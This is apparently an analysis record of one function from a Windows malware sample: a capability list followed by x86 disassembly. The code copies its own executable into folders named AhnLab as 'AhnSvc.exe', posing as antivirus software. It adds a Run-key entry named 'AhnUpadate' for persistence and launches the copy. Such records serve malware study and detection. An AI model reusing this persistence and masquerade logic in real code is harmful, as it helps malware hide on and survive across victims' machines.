Function at 0x403cc0
Capabilities:
Create directory
Create process on windows
Get file size
Persist via run registry key
Persist via windows service
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x118
lea eax, [esp]
push eax
push str.SYSTEMControlSet001ServicesV3_Service
push 0x80000002
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403cf9
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0x118
ret
push ebx
push ebp
push 0x100
lea edx, [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push str.C:ProgramDataAhnLab
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
mov dword [esp + 0x30], eax
push 0x80000000
lea eax, [esp + 0x38]
push eax
call ebx
mov ebp, eax
cmp ebp, 0xffffffff
je 0x403f9a
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00406ee3
mov esi, eax
mov eax, dword [esp + 0x28]
add esp, 4
mov dword [esp + 0x20], esi
test eax, eax
je 0x403e1c
cmp eax, 0xb7
je 0x403e1c
cmp eax, 3
jne 0x403e9b
push 0
push str.C:Program_FilesCommon_FilesAhnLab
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push str.C:Program_FilesCommon_FilesAhnLabAhnSvc.exe
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403f98
push 0
lea ecx, [esp + 0x18]
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea edx, [esp + 0x18]
push edx
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
push eax
push 4
lea ecx, [esp + 0x28]
push ecx
push ebx
call esi
mov ecx, 0xd
mov esi, str._C:Program_FilesCommon_FilesAhnLabAhnSvc.exe___run
lea edi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x18], 1
jmp 0x403e9f
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push str.C:ProgramDataAhnLabAhnSvc.exe
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403f98
push 0
lea edx, [esp + 0x18]
push edx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [esp + 0x18]
push eax
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
lea ecx, [esp + 0x18]
push ecx
push 4
lea edx, [esp + 0x28]
push edx
push ebx
mov dword [esp + 0x30], eax
call esi
mov ecx, 0xa
mov esi, str._C:ProgramDataAhnLabAhnSvc.exe___run
lea edi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x18], 1
jmp 0x403e9f
mov ebx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call edi
push ebx
call edi
push esi
call fcn.00406bc9
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 4
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebp
test eax, eax
je 0x403ee8
lea ecx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call ebp
test eax, eax
jne 0x403f8d
lea eax, [esp + 0x28]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403ef0
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x2c]
push edx
push 1
push 0
push str.AhnUpadate
push eax
call edi
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
mov esi, eax
call ebx
test esi, esi
je 0x403f6c
lea edx, [esp + 0x10]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call ebp
lea eax, [esp + 0x28]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403f40
mov ecx, dword [esp + 0x10]
sub eax, edx
push eax
lea eax, [esp + 0x2c]
push eax
push 1
push 0
push str.AhnUpadate
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
mov esi, eax
call ebx
test esi, esi
jne 0x403f98
cmp dword [esp + 0x18], 0
je 0x403f98
push 0
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
xor eax, eax
add esp, 0x118
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
xor eax, eax
add esp, 0x118
ret